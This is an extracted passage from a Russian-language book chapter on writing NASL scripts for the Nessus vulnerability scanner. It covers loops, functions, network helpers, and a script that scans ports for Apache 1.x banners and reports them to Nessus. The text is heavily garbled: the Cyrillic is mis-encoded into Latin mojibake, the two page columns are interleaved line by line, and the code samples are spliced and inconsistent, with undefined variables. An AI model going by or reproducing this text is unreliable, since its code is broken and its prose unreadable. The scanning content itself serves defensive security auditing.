ñòàíåò ðàâíî FALSE. Íî â äàííîì ñëó÷àå óñëîâèå (i <= 100) ñòàíîâèòñÿ ðàâ- x = 0;
len = strlen(str);
íûì FALSE òîëüêî ïðè i ðàâíîì 101. while (x < len) {
if (str[x] != "0") {
Öèêëû foreach break;
Öèêë foreach ïðèìåíÿåòñÿ äëÿ ïåðåáîðà ýëåìåíòîâ ìàññèâà. Â ñëåäóþùåì ïðè- }
ìåðå ïåðåìåííîé x ïîñëåäîâàòåëüíî ïðèñâàèâàåòñÿ çíà÷åíèå êàæäîãî ýëå- x++;
}
ìåíòà ìàññèâà array: if (x == len) {
display("str ñîñòîèò èç îäíèõ íóëåé");
foreach x (array) { } else {
display(x, '\n'); display("ïåðåä ïåðâûì íå-íóëåì âñòðåòèëîñü ", x, " íóëåé".);
}
Ïîëüçîâàòåëüñêèå ôóíêöèè
Ìîæíî òàêæå ïåðåáðàòü âñå ýëåìåíòû àññîöèàòèâíîãî ìàññèâà âîñïîëü- Ïîìèìî ìíîæåñòâà âñòðîåííûõ â NASL ôóíêöèé, âû ìîæåòå ïèñàòü ñâîè
çîâàâøèñü öèêëîì foreach â ñî÷åòàíèè ñ ôóíêöèåé keys, âîçâðàùàþùåé âñå ñîáñòâåííûå. Ïîëüçîâàòåëüñêèå ôóíêöèè èìåþò ñëåäóþùèé ôîðìàò:
êëþ÷è:
function function_name(argument1, argument2, ...) {
foreach x (keys(array)) { êîä;
display("array[", k, "] ðàâíî", array[k], '\n'); }
}
Íàïðèìåð, ôóíêöèþ, ïðèíèìàþùóþ â êà÷åñòâå àðãóìåíòà ñòðîêó è âîçâðà-
Öèêëû while ùàþùóþ ìàññèâ, ñîñòîÿùèé èç çíà÷åíèé ASCII-êîäîâ êàæäîãî ñèìâîëà,
Öèêë while ïðîäîëæàåò âûïîëíÿòüñÿ, ïîêà åãî óñëîâèå îñòàåòñÿ èñòèííûì. Åñëè ìîæíî çàïèñàòü òàê:
ïåðåä íà÷àëîì èñïîëíåíèÿ óñëîâèå óæå ëîæíî, öèêë íå âûïîëíÿåòñÿ íè ðàçó.
function str_to_ascii (in_string) {
i = 1; local_var result_array;
while (i <= 10) { local_var len;
display(i, '\n'); local_var i;
i++;
} len = strlen(in_string);
for (i = 0; i < len; i++) {
Öèêëû repeat-until result_array[i] = ord(in_string[i]);
Öèêë repeat-until àíàëîãè÷åí öèêëó while, íî óñëîâèå âû÷èñëÿåòñÿ ïîñëå êàæ- }
return (result_array);
äîé èòåðàöèè, à íå ïåðåä íåé. Ñëåäîâàòåëüíî, öèêë repeat-until îáÿçàòåëüíî }
áóäåò âûïîëíåí õîòÿ áû îäèí ðàç. Âîò ïðîñòîé ïðèìåð:
display (str_to_ascii(in_string: "FreeBSD 4.8"), '\n');
x = 0;
repeat { Ïîñêîëüêó â ÿçûêå NASL àðãóìåíòû äîëæíû áûòü èìåíîâàííûìè, òî ïå-
display(++x, '\n');
} until (x >= 10);
ðåäàâàòü èõ ìîæíî â ëþáîì ïîðÿäêå. Êðîìå òîãî, åñëè íåêîòîðûå àðãóìåíòû
íåîáÿçàòåëüíû, òî èõ ìîæíî íå ïåðåäàâàòü âîâñå.
Èíñòðóêöèÿ break Îáëàñòü âèäèìîñòè ïåðåìåííîé îïðåäåëÿåòñÿ àâòîìàòè÷åñêè, íî îáëàñòü,
Èíñòðóêöèÿ break ïðèìåíÿåòñÿ äëÿ òîãî, ÷òîáû ïðåðâàòü âûïîëíåíèå öèêëà âûáðàííóþ ïî óìîë÷àíèþ, ìîæíî ïåðåîïðåäåëèòü, âîñïîëüçîâàâøèñü êëþ-
äî òîãî, êàê åãî óñëîâèå îêàæåòñÿ ëîæíûì.  ñëåäóþùåì ïðèìåðå ïîêàçàíî, ÷åâûìè ñëîâàìè local_var è global_var ïðè îáúÿâëåíèè ïåðåìåííîé. Ìû ðåêî-
êàê ìîæíî âîñïîëüçîâàòüñÿ èíñòðóêöèåé break äëÿ ïîäñ÷åòà ÷èñëà íóëåé ìåíäóåì òàê è ïîñòóïàòü âî èçáåæàíèå ñëó÷àéíîãî çàòèðàíèÿ çíà÷åíèÿ îä-
â ñòðîêå str ïåðåä ïåðâûì íåíóëåâûì çíà÷åíèåì. Íå çàáûâàéòå, ÷òî åñëè íîèìåííîé ïåðåìåííîé, îáúÿâëåííîé â îáúåìëþùåé îáëàñòè âèäèìîñòè.
â ñòðîêå 20 ñèìâîëîâ, òî ïîñëåäíèé èç íèõ îáîçíà÷àåòñÿ str[19]. Ðàññìîòðèì òàêîé ïðèìåð:
120 Глава 2. Язык сценариев NASL Написание сценариев на языке NASL 121
i = 100; Ñöåíàðèé íà ÿçûêå NASL ìîæåò âûñòóïàòü â îäíîé èç äâóõ ðîëåé. Íåêîòî-
function print_garbage () { ðûå ñöåíàðèè ïèøóòñÿ äëÿ ëè÷íîãî ïîëüçîâàíèÿ âî èìÿ ðåøåíèÿ êîíêðåò-
for (i = 0; i < 5; i++) { íîé çàäà÷è, êîòîðàÿ áîëüøå íèêîìó íå èíòåðåñíà. Äðóãèå æå ïðîâåðÿþò íà-
display(i); ëè÷èå óÿçâèìîñòåé è îøèáîê êîíôèãóðàöèè ñèñòåìû è ïîòîìó ìîãóò ïðåä-
}
display(" — "); ñòàâëÿòü öåííîñòü äëÿ âñåãî ñîîáùåñòâà ïîëüçîâàòåëåé Nessus, ïîñêîëüêó
return TRUE; ñëóæàò ïîâûøåíèþ áåçîïàñíîñòè ñåòåé ïî âñåìó ìèðó.
}

print_garbage();
display("Çíà÷åíèå i ðàâíî ", i);
Написание сценариев для личного пользования
Ïðîãðàììèðóÿ íà NASL, î÷åíü âàæíî íå çàáûâàòü, ÷òî ÿçûê áûë ñïðîåêòè-
 ðåçóëüòàòå âûïîëíåíèÿ áóäåò íàïå÷àòàíà ñòðîêà 01234--- Çíà÷åíèå i ðàâíî 5. ðîâàí ïðåæäå âñåãî äëÿ îáëåã÷åíèÿ ïîèñêà óÿçâèìîñòåé. Ïîýòîìó â íåì åñòü
Ãëîáàëüíàÿ ïåðåìåííàÿ i áûëà çàòåðòà âíóòðè öèêëà for â ôóíêöèè print_garbage, äåñÿòêè âñòðîåííûõ ôóíêöèé, óïðîùàþùèõ ìàíèïóëèðîâàíèå ñåòåâûìè ñî-
ïîñêîëüêó íå áûëî êëþ÷åâîãî ñëîâà local_var. êåòàìè, ñîçäàíèå è ìîäèôèêàöèþ ïàêåòîâ è ðàáîòó ñ ïðîòîêîëàìè âåðõíåãî
NASL ïîääåðæèâàåò ðåêóðñèþ. óðîâíÿ (íàïðèìåð, HTTP, FTP è SSL). Ýòè çàäà÷è íà NASL ðåøàþòñÿ ïðîùå,
Âñòðîåííûå ôóíêöèè ÷åì íà óíèâåðñàëüíûõ ÿçûêàõ.
Åñëè ñöåíàðèé ïèøåòñÿ äëÿ ðåøåíèÿ óçêîñïåöèàëüíîé çàäà÷è, òî íåò íóæ-
 NASL âñòðîåíû äåñÿòêè ôóíêöèé, îáëåã÷àþùèõ íàïèñàíèå ñöåíàðèåâ. Âû-
äû çàáîòèòüñÿ î ñîáëþäåíèè òðåáîâàíèé, ïðåäúÿâëÿåìûõ ê ñöåíàðèÿì îá-
çûâàþòñÿ îíè òî÷íî òàê æå, êàê è ïîëüçîâàòåëüñêèå, è óæå íàõîäÿòñÿ â ãëî-
ùåãî ïîëüçîâàíèÿ. Âû ìîæåòå ñêîíöåíòðèðîâàòüñÿ èìåííî íà òåõ àñïåêòàõ,
áàëüíîì ïðîñòðàíñòâå èìåí (òî åñòü èõ íå íóæíî âêëþ÷àòü, èìïîðòèðîâàòü
êîòîðûå ñëóæàò ïîëó÷åíèþ æåëàåìîãî ðåçóëüòàòà. Òóò-òî è ïðèãîäÿòñÿ ôóí-
èëè îïðåäåëÿòü). Íèæå â ýòîé ãëàâå áóäóò ðàññìîòðåíû ôóíêöèè äëÿ ìàíèïó-
êöèè, âêëþ÷åííûå â áèáëèîòåêó NASL.
ëèðîâàíèÿ ñåòåâûìè ñîåäèíåíèÿìè, ñîçäàíèÿ ïàêåòîâ è âçàèìîäåéñòâèÿ ñ áà-
çîé çíàíèé Nessus.
Ñåòåâûå ôóíêöèè
Èíñòðóêöèÿ return  NASL åñòü íåìàëî ôóíêöèé, îáåñïå÷èâàþùèõ ïðîñòîé è áûñòðûé äîñòóï ê
Ýòà èíñòðóêöèÿ âîçâðàùàåò çíà÷åíèå èç ôóíêöèè. Ìîæíî âåðíóòü çíà÷åíèå óäàëåííûì õîñòàì ïî ïðîòîêîëàì TCP è UDP. Ñ èõ ïîìîùüþ ìîæíî îòêðû-
ëþáîãî âñòðîåííîãî òèïà (öåëîå ÷èñëî, ñòðîêó, ìàññèâ èëè NULL). Ôóíêöèè âàòü è çàêðûâàòü ñîêåòû, ïîñûëàòü è ïðèíèìàòü äàííûå, âûÿñíÿòü, ñîõðàíèë
â NASL ìîãóò âîçâðàùàòü îäíî çíà÷åíèå èëè íå âîçâðàùàòü íèêàêîãî çíà- ëè õîñò ðàáîòîñïîñîáíîñòü ïîñëå àòàêè, èìåþùåé öåëüþ âûçâàòü îòêàç îò
÷åíèÿ (íàïðèìåð, çàïèñü return (10, 20) íåêîððåêòíà). îáñëóæèâàíèÿ (DoS-àòàêà), è ïîëó÷àòü ðàçíîîáðàçíóþ èíôîðìàöèþ î õîñòå:
åãî èìÿ, IP-àäðåñ è íîìåð ñëåäóþùåãî îòêðûòîãî ïîðòà.

Написание сценариев Ôóíêöèè, ñâÿçàííûå ñ ïðîòîêîëîì HTTP


на языке NASL Ýòè ôóíêöèè â áèáëèîòåêå NASL ïðåäîñòàâëÿþò ïðîãðàììå èíòåðôåéñ äëÿ
âçàèìîäåéñòâèÿ ñ HTTP-ñåðâåðàìè. Äëÿ âàøåãî óäîáñòâà óæå ðåøåíû òàêèå
çàäà÷è, êàê èçâëå÷åíèå HTTP-çàãîëîâêîâ èç îòâåòà, îòïðàâêà çàïðîñîâ òèïà
Âûøå ìû óæå ãîâîðèëè, ÷òî NASL ïðîåêòèðîâàëñÿ êàê ïðîñòîé, óäîáíûé,
GET, POST, PUT è DELETE, à òàêæå îïðåäåëåíèå êîìïîíåíòà ïóòè ê CGI-ïðî-
ìîäóëüíûé, ýôôåêòèâíûé è áåçîïàñíûé ÿçûê. Â ýòîì ðàçäåëå ìû ðàññìîò-
ãðàììàì.
ðèì îñîáåííîñòè ïðîãðàììèðîâàíèÿ íà NASL è ïîçíàêîìèì âàñ ñ íåêîòîðû-
ìè èíñòðóìåíòàìè è ìåòîäèêàìè, ïîìîãàþùèìè NASL äîñòè÷ü çàÿâëåííûõ
öåëåé. Ìû îïèøåì íåêîòîðûå êàòåãîðèè ôóíêöèé è ïðîèëëþñòðèðóåì èõ Ôóíêöèè ìàíèïóëèðîâàíèÿ ïàêåòàìè
èñïîëüçîâàíèå íà ïðèìåðàõ, îäíàêî ïðèâåñòè ïîëíûé ïåðå÷åíü âñåõ ôóíê-  NASL åñòü âñòðîåííûå ôóíêöèè äëÿ èçãîòîâëåíèÿ ñïåöèàëüíûõ ïàêåòîâ
öèé â äàííîé ãëàâå ìû íå ñìîæåì. Äëÿ ýòîãî âàì ëó÷øå îáðàòèòüñÿ ê «Ñïðà- ïðîòîêîëîâ IGMP (Internet Group Management Protocol – ìåæñåòåâîé ïðîòî-
âî÷íîìó ðóêîâîäñòâó ïî ÿçûêó NASL2». êîë óïðàâëåíèÿ ãðóïïàìè), ICMP (Internet Control Message Protocol – ïðîòîêîë
122 Глава 2. Язык сценариев NASL Написание сценариев на языке NASL 123

êîíòðîëÿ ñîîáùåíèé â ñåòè Internet), IP, TCP è UDP. Ñ ïîìîùüþ ñåìåéñòâà âåäåò ñîîáùåíèå ïðè îáíàðóæåíèè ñòàðîé âåðñèè Apache. Ïðèâåäåííûé
ôóíêöèé get è set ìîæíî çàäàâàòü è ïîëó÷àòü îòäåëüíûå ïîëÿ â ïàêåòå. â ñëåäóþùåì ïðèìåðå ñöåíàðèé íå ïðåäïîëàãàåò, ÷òî Apache ðàáîòàåò íà
ñòàíäàðòíîì ïîðòó 80.
Ôóíêöèè ìàíèïóëèðîâàíèÿ ñòðîêàìè Ýòîò ñöåíàðèé íåòðóäíî ìîäèôèöèðîâàòü òàê, ÷òîáû îí ïå÷àòàë âñå îáíà-
Êàê è ìíîãèå äðóãèå ÿçûêè âûñîêîãî óðîâíÿ, NASL ñîäåðæèò ôóíêöèè äëÿ ðóæåííûå øàïêè, òî åñòü ïðåâðàòèòü åãî â ïðîñòîé ñêàíåð TCP-ïîðòîâ. Åñëè
ðàñùåïëåíèÿ ñòðîêè, ïîèñêà ïî ðåãóëÿðíîìó âûðàæåíèþ, óäàëåíèÿ õâîñòî- ñöåíàðèþ ïðèñâîåíî èìÿ apache_find.nasl, à âàøåé ñåòè âûäåëåí äèàïàçîí
âûõ ïðîáåëîâ, âû÷èñëåíèÿ äëèíû ñòðîêè è ïðåîáðàçîâàíèÿ ðåãèñòðà. Èìåþò- IP-àäðåñîâ îò 192.168.1.1 äî 192.168.1.254, òî êîìàíäà äëÿ çàïóñêà ìîãëà áû
ñÿ òàêæå ôóíêöèè, ïîëåçíûå äëÿ àíàëèçà óÿçâèìîñòåé, èç êîòîðûõ íàèáîëåå âûãëÿäåòü ïðèìåðíî òàê:
ïðèìå÷àòåëüíà ôóíêöèÿ crap, òåñòèðóþùàÿ íàëè÷èå ïåðåïîëíåíèÿ áóôåðà,
nasl -t 192.168.1.1-254 apache_find.nasl
êîòîðàÿ âîçâðàùàåò áóêâó X èëè ïðîèçâîëüíóþ ñòðîêó, ïîâòîðåííóþ ñòîëüêî
ðàç, ñêîëüêî íåîáõîäèìî äëÿ çàïîëíåíèÿ áóôåðà çàäàííîãî ðàçìåðà.
1 # ñêàíèðîâàòü âñå 65 535 ïîðòîâ â ïîèñêàõ Web-ñåðâåðîâ Apache 1.x
2 # çàäàéòå first è last ðàâíûìè 80, åñëè õîòèòå ïðîâåðÿòü òîëüêî
Êðèïòîãðàôè÷åñêèå ôóíêöèè 3 # ñòàíäàðòíûé ïîðò
4 first = 1;
Åñëè ïðîãðàììà Nessus áûëà ñîáðàíà âìåñòå ñ áèáëèîòåêîé OpenSSL, òî NASL
5 last = 65535;
ïðåäîñòàâëÿåò ôóíêöèè äëÿ âû÷èñëåíèÿ ðàçëè÷íûõ êðèïòîãðàôè÷åñêèõ 6
ñâåðòîê è êîíòðîëüíûõ ñóìì, âêëþ÷àÿ Message Digest 2 (MD2), Message Digest 7 for (i = start; i < last; i++) {
4 (MD4). Message Digest 5 (MD5), RIPEMD160, Secure Hash Algorithm (SHA) è 8 # ïûòàåìñÿ ñîçäàòü TCP-ñîåäèíåíèå ñ öåëåâûì ïîðòîì
Secure Hash Algorithm version 1.0 (SHA1). Åñòü òàêæå íåñêîëüêî ôóíêöèé äëÿ 9 soc = open_soc_tcp(i);
ãåíåðèðîâàíèÿ êîäà àóòåíòèôèêàöèè ñîîáùåíèé (Message Authentication 10 if (soc) {
Code) íà îñíîâå ïðîèçâîëüíûõ äàííûõ è çàäàííîãî êëþ÷à. Ê íèì îòíîñÿòñÿ 11 # ÷èòàòü íå áîëåå 1024 ñèìâîëîâ øàïêè èëè ïîêà íå âñòðåòèòñÿ "\n"
12 banner = recv_line(socket: soc, length:1024);
ôóíêöèè äëÿ âû÷èñëåíèÿ ñâåðòîê HMAC_DSS, HMAC_MD2, HMAC_MD4,
13 # ñîäåðæèò ëè øàïêà ñòðîêó "Apache/1."?
HMAC_MD5, HMAC_RIPEMD160, HMAC_SHA è HMAC_SHA1. 14 if (egrep(string: banner, pattern:"^Server: *Apache/1\.")) {
15 display("Apache âåðñèè 1 íàéäåí íà ïîðòó ", i, "\n");
Èíòåðïðåòàòîð êîìàíä NASL 16 }
17 close(soc);
Ïðîãðàììèðóÿ íà NASL, ïîëüçóéòåñü âñòðîåííûì èíòåðïðåòàòîðîì êîìàíä 18 }
nasl äëÿ òåñòèðîâàíèÿ ñâîèõ ñöåíàðèåâ. Â ñèñòåìàõ Linux è FreeBSD èíòåðïðå- 19 }
òàòîð êîìàíä íàõîäèòñÿ â êàòàëîãå /usr/local/bin. Íà ìîìåíò íàïèñàíèÿ ýòîé
êíèãè åùå íå ñóùåñòâîâàëî àâòîíîìíîãî èíòåðïðåòàòîðà êîìàíä NASL äëÿ  ñòðîêàõ 4 è 5 çàäàþòñÿ íà÷àëüíûé è êîíå÷íûé íîìåðà ñêàíèðóåìûõ ïîðòîâ.
Windows. Ïîëüçîâàòüñÿ èíòåðïðåòàòîðîì íåñëîæíî. Ïîðÿäîê âûçîâà òàêîâ: Îòìåòèì, ÷òî ýòî ïîëíûé äèàïàçîí ïîðòîâ ñèñòåìû (çà èñêëþ÷åíèåì íóëåâî-
ãî ïîðòà, êîòîðûé ÷àñòî èñïîëüçóåòñÿ äëÿ àòàêè èëè ñáîðà èíôîðìàöèè).
nasl -t target_ip scriptname1.nasl scriptname2.nasl ...
 ñòðîêàõ 9 è 10 îòêðûâàåòñÿ ñîåäèíåíèå ñ ñîêåòîì è ïðîâåðÿåòñÿ, âûïîë-
Åñëè âàì íóæíû òîëüêî «áåçîïàñíûå ïðîâåðêè», äîáàâüòå ôëàã -s. Åñòü è íèëàñü ëè ýòà îïåðàöèÿ óñïåøíî. Ïîëó÷èâ øàïêó ñ ïîìîùüþ ôóíêöèè
äðóãèå ôëàãè, ïîäðîáíåå î íèõ ìîæíî óçíàòü, âûïîëíèâ êîìàíäó man nasl. recv_l ine (ñòðîêà 12), ìû â ñòðîêå 14 ñîïîñòàâëÿåì åå ñ ðåãóëÿðíûì âûðàæåíè-
åì è âûÿñíÿåì, ñîîòâåòñòâóåò ëè øàïêà ñåðâåðó Apache. È íàêîíåö ñöåíàðèé
Ïðèìåð ïå÷àòàåò ñîîáùåíèå î òîì, ÷òî íà íåêîòîðîì ïîðòó íàéäåí Apache âåðñèè 1.
Ïðåäñòàâüòå, ÷òî ïåðåä âàìè ñòîèò çàäà÷à îáíîâëåíèÿ âñåõ ñâîèõ ñåðâåðîâ Õîòÿ ýòà ïðîãðàììà äîñòàòî÷íî ýôôåêòèâíî ðåøàåò êîíêðåòíóþ çàäà÷ó,
Apache ñ âåðñèè 1.x äî âåðñèè 2.x. Òîãäà ìîæíî íàïèñàòü NASL-ñöåíàðèé, òàêîãî ðîäà ñöåíàðèè ïëîõî ïðèñïîñîáëåíû äëÿ ðàáîòû â ñðåäå Nessus. Åñëè
êîòîðûé ïðîñêàíèðóåò âñå êîìïüþòåðû â âàøåé ñåòè, èçâëå÷åò èç îòâåòîâ Nessus ðàáîòàåò ñ ïîëíîé áèáëèîòåêîé ïðîâåðîê, òî êàæäûé ñöåíàðèé ìîæåò
«øàïêè» (banner – ñòðîêà, â êîòîðîé óêàçàíû èìÿ è âåðñèÿ ïðîãðàììû) è âû- âîñïîëüçîâàòüñÿ ðåçóëüòàòàìè ðàáîòû ðàíåå èñïîëíÿâøèõñÿ ñöåíàðèåâ.
124 Глава 2. Язык сценариев NASL Написание сценариев на языке NASL 125

 äàííîì ñëó÷àå ñöåíàðèé «âðó÷íóþ» ñêàíèðóåò êàæäûé ïîðò, ïîëó÷àåò øàï- ðàáîòó è ïîòðåáëÿåò âðåìÿ è ïîëîñó ïðîïóñêàíèÿ, ÷óäîâèùíî íåýôôåêòèâ-
êó è èùåò â íåé ñòðîêó «Apache». Òîëüêî ïîäóìàéòå, íàñêîëüêî íåýôôåêòèâ- íî. Âîñïîëüçîâàâøèñü áàçîé çíàíèé, ñöåíàðèé ìîæåò äîáèòüñÿ òîãî æå ýô-
íî ôóíêöèîíèðîâàëà áû Nessus, åñëè áû êàæäîìó ñöåíàðèþ ïðèõîäèëîñü âû- ôåêòà, âûçâàâ åäèíñòâåííóþ ôóíêöèþ get_kb_item(«Services/www»), êîòîðàÿ
ïîëíÿòü òàêîé îáúåì ðàáîòû!  ñëåäóþùåì ðàçäåëå ìû ðàññêàæåì, êàê îïòè- âåðíåò íîìåð ïîðòà íàéäåííîãî HTTP-ñåðâåðà è àâòîìàòè÷åñêè çàïóñòèò íî-
ìèçèðîâàòü NASL-ñöåíàðèè äëÿ çàïóñêà èç-ïîä Nessus. âûé ïðîöåññ äëÿ êàæäîãî îòâåòà, âîçâðàùåííîãî áàçîé çíàíèé (òàê, åñëè
ñëóæáà HTTP îáíàðóæåíà íà ïîðòàõ 80 è 2701, òî âûçîâ ôóíêöèè âåðíåò 80,
Программирование в среде Nessus çàïóñòèò íîâûé ïðîöåññ è âåðíåò 2701).

Åñëè âû íàïèñàëè è ïðîòåñòèðîâàëè ñöåíàðèé â êîìàíäíîì èíòåðïðåòàòîðå, Ôóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðàáîòû
òî äëÿ òîãî ÷òîáû çàñòàâèòü åãî ðàáîòàòü â êîíñîëè Nessus, ïðèäåòñÿ âíåñòè  NASL åñòü ÷åòûðå âñòðîåííûõ ôóíêöèè, âîçâðàùàþùèå èíôîðìàöèþ
ëèøü íåáîëüøèå ìîäèôèêàöèè. À ïîñëå ýòîãî ìîæíî ïåðåäàòü ñâîé ñöåíà- î ðåçóëüòàòàõ ðàáîòû ñöåíàðèÿ ÿäðó Nessus. Ôóíêöèÿ scanner_status ïîçâîëÿåò
ðèé â îáùåå ïîëüçîâàíèå, îòîñëàâ åãî àäìèíèñòðàòîðó Nessus. ñöåíàðèþ ñîîáùèòü, ñêîëüêî ïîðòîâ áûëî ïðîñêàíèðîâàíî è ñêîëüêî åùå
îñòàëîñü. Îñòàëüíûå òðè ôóíêöèè (security_note, security_warning è security_hole)
Îïèñàòåëüíûå ôóíêöèè ïðèìåíÿþòñÿ äëÿ ïåðåäà÷è ÿäðó îò÷åòà î ðàçëè÷íûõ àñïåêòàõ áåçîïàñíîñòè,
×òîáû ïðåäîñòàâèòü ñâîþ ðàáîòó âñåìó ñîîáùåñòâó ïîëüçîâàòåëåé Nessus, íå- íåêðèòè÷åñêèõ ïðåäóïðåæäåíèé è ñîîáùåíèé î êðèòè÷åñêèõ óÿçâèìîñòÿõ.
îáõîäèìî âêëþ÷àòü â ñöåíàðèé çàãîëîâîê, ñîäåðæàùèé íàçâàíèå, ïîäðîáíîå Nessus ñîáèðàåò ýòè ñâåäåíèÿ è ôîðìèðóåò íà èõ îñíîâå ñâîäíûé îò÷åò.
îïèñàíèå è äðóãóþ èíôîðìàöèþ, íåîáõîäèìóþ ÿäðó Nessus. Ýòè «îïèñàòåëü-
Ïðèìåð
íûå ôóíêöèè» ïîçâîëÿþò Nessus âûïîëíÿòü ëèøü ñöåíàðèè, íåîáõîäèìûå
Íèæå ïðèâåäåí ñöåíàðèé, ïðåäñòàâëåííûé â ïðåäûäóùåì ðàçäåëå, êîòîðûé
äëÿ òåñòèðîâàíèÿ çàäàííîé öåëåâîé ñèñòåìû è ïðèíàäëåæàùèå çàäàííîé êà-
òåãîðèè (ñáîð èíôîðìàöèè, ñêàíèðîâàíèå, àòàêà, DoS-àòàêà è òàê äàëåå). áûë ïåðåïèñàí ñ ó÷åòîì òðåáîâàíèé ñðåäû Nessus. «Îïèñàòåëüíûå» ôóíêöèè
ïåðåäàþò Nessus èìÿ ñöåíàðèÿ, åãî íàçíà÷åíèå è êàòåãîðèþ. Ïîñëå áëîêà
Ôóíêöèè, îòíîñÿùèåñÿ ê áàçå çíàíèé îïèñàíèÿ íà÷èíàåòñÿ ñîáñòâåííî òåëî ñöåíàðèÿ. Îáðàòèòå âíèìàíèå íà èñ-
Ðàçäåëÿåìûå ñöåíàðèè äîëæíû áûòü íàïèñàíû ìàêñèìàëüíî ýôôåêòèâíî. ïîëüçîâàíèå ôóíêöèè get_kb_item(«Services/www»). Êàê ìû óæå îòìå÷àëè,
Ýòî îçíà÷àåò, â ÷àñòíîñòè, ÷òî ñöåíàðèé íå äîëæåí ïîâòîðÿòü ðàáîòó, óæå ïðè åå âûïîëíåíèè èíòåðïðåòàòîð NASL çàïóñêàåò íîâûé ïðîöåññ äëÿ êàæäî-
âûïîëíåííóþ äðóãèìè ñöåíàðèÿìè. Êðîìå òîãî, ñöåíàðèé äîëæåí ñîõðàíèòü ãî íàéäåííîãî â áàçå çíàíèé çíà÷åíèÿ ñëóæáû «Services/www». Òàêèì îáðà-
èíôîðìàöèþ î ðåçóëüòàòàõ ñâîåé ðàáîòû, ÷òîáû äðóãèå ñöåíàðèè ìîãëè åé çîì, ñöåíàðèé ïðîâåðèò øàïêó, âîçâðàùàåìóþ êàæäûì HTTP-ñåðâåðîì íà
âîñïîëüçîâàòüñÿ. Öåíòðàëüíûé ìåõàíèçì äëÿ îòñëåæèâàíèÿ ñîáðàííîé èí- öåëåâîé ìàøèíå, íå âûïîëíÿÿ ñêàíèðîâàíèÿ ïîðòîâ ñàìîñòîÿòåëüíî. Åñëè
ôîðìàöèè íàçûâàåòñÿ áàçîé çíàíèé. áóäåò îáíàðóæåíà èñêîìàÿ âåðñèÿ Apache, òî ñ ïîìîùüþ ôóíêöèè security_note
Ïîëüçîâàòüñÿ áàçîé çíàíèé íåòðóäíî â ñèëó äâóõ ïðè÷èí: ýòà èíôîðìàöèÿ áóäåò ñîîáùåíà ÿäðó Nessus. Åñëè ñöåíàðèé ïðîâåðÿåò íàëè-
 Âûçîâ ôóíêöèé, ðàáîòàþùèõ ñ áàçîé çíàíèé, òðèâèàëåí, ýòî ãîðàçäî ÷èå óÿçâèìîñòåé, òî ìîæíî âîñïîëüçîâàòüñÿ ôóíêöèÿìè security_warning
ïðîùå, ÷åì ñêàíèðîâàòü ïîðòû, âðó÷íóþ èçâëåêàòü èç ïîòîêà øàïêè èëè security_hole.
èëè çàíèìàòüñÿ ïîâòîðíîé ðåàëèçàöèåé ëþáîé èìåþùåéñÿ â áàçå çíà-
íèé ôóíêöèîíàëüíîñòè; 1 if (description) {
2 script_version("$Revision: 1.0 $");
 Nessus àâòîìàòè÷åñêè ïîðîæäàåò íîâûå ïðîöåññû, åñëè çàïðîñ ê áàçå 3
çíàíèé âîçâðàùàåò áîëåå îäíîãî ðåçóëüòàòà. 4 name["english"] = "Ïîèñê Apache âåðñèè 1.x";
Äëÿ èëëþñòðàöèè ýòèõ ïîëîæåíèé ðàññìîòðèì çàäà÷ó àíàëèçà âñåõ ñëóæá 5 script_name(english:name["english"]);
6
HTTP íà êîíêðåòíîé ìàøèíå. Íå ïðèáåãàÿ ê áàçå çíàíèé, ìîæíî áûëî áû
7 desc["english"] = "Ýòîò ñöåíàðèé èùåò ñåðâåðû Apache 1.x.
íàïèñàòü ñöåíàðèé, êîòîðûé ñêàíèðóåò âñå ïîðòû íà ýòîé ìàøèíå, ïðîâåðÿåò 8 Ìîæåò èñïîëüçîâàòüñÿ àäìèíèñòðàòîðîì, æåëàþùèì îáíîâèòü âñå
øàïêè, è, îáíàðóæèâ èñêîìîå, âûïîëíÿåò êàêèå-òî äåéñòâèÿ. Íî çàïóñêàòü 9 ýêçåìïëÿðû Apache äî âåðñèè 2.x.
â ñðåäå Nessus ïîäîáíûå ñöåíàðèè, êàæäûé èç êîòîðûõ âûïîëíÿåò ëèøíþþ 10
126 Глава 2. Язык сценариев NASL Пример: канонический сценарий на языке NASL 127
11 Îöåíêà ðèñêà : íèçêàÿ"; ñòâî óÿçâèìîñòè ñèñòåìû ïî îòíîøåíèþ ê ïðîâåðÿåìîìó óñëîâèþ. Íèæå
12 ïðèâåäåí øàáëîí, ñëåäóÿ êîòîðîìó âû ìîæåòå ñîçäàòü ïðàêòè÷åñêè ëþáîé
13 script_description(english:desc["english"]);
14
NASL-ñöåíàðèé.
15 summary["english"] = "Ïîèñê ñåðâåðîâ âåðñèè Apache 1.x.";
16 script_summary(english:summary["english"]);
17
18 script_category(ACT_GATHER_INFO);
Пример: канонический сценарий
19
20 script_copyright(english:"No copyright.");
21
на языке NASL
22 family["english"] = "General"; 1 #
23 script_family(english:family["english"]); 2 # Ýòî ïðîêîììåíòèðîâàííûé øàáëîí NASL-ñöåíàðèÿ.
24 script_dependencies("find_service.nes","no404.nasl", 3 #
"http_version.nasl"); 4
25 script_require_ports("Services/www"); 5 #
26 script_require_keys("www/apache"); 6 # Íàçâàíèå è îïèñàíèå ñöåíàðèÿ
27 exit(0); 7 #
28 } 8 # Âêëþ÷èòå â íà÷àëî ñöåíàðèÿ ïîäðîáíûé êîììåíòàðèé, îïèñûâàþùèé,
29 9 # ÷òî ñöåíàðèé ïðîâåðÿåò è êàêèå âåðñèè ïðîâåðÿåìîé ïðîãðàììû
30 # Íà÷àëî ïðîâåðêè
10 # óÿçâèìû, âàøå èìÿ, äàòó ñîçäàíèÿ ñöåíàðèÿ, ïðèçíàíèå çàñëóã
31
11 # àâòîðà îðèãèíàëüíîãî ýêñïëîéòà è ëþáóþ äðóãóþ èíôîðìàöèþ, êîòîðóþ
32 include("http_func.inc");
12 # ñî÷òåòå íóæíîé.
33
13 #
34 port = get_kb_item("Services/www");
14 #
35 if (!port) port = 80;
36 15
37 if (get_port_state(port)) {
16 if (description)
38 banner = recv_line(socket: soc, length:1024); 17 {
39 # ñîäåðæèò ëè øàïêà ñòðîêó "Apache/1."? 18 # Âñå ñöåíàðèè äîëæíû ñîäåðæàòü îïèñàíèå âíóòðè óñëîâíîãî
40 if (egrep(string: banner, pattern:"^Server: *Apache/1\.")) { 19 # ïðåäëîæåíèÿ "if (description) { ... }". Ôóíêöèè â ýòîé ñåêöèè
41 display("Ñåðâåð Apache âåðñèè 1 îáíàðóæåí íà ïîðòó ", i, "\n"); 20 # ïåðåäàþò èíôîðìàöèþ ÿäðó Nessus.
42 } 21 #
43 security_note(port); 22 #
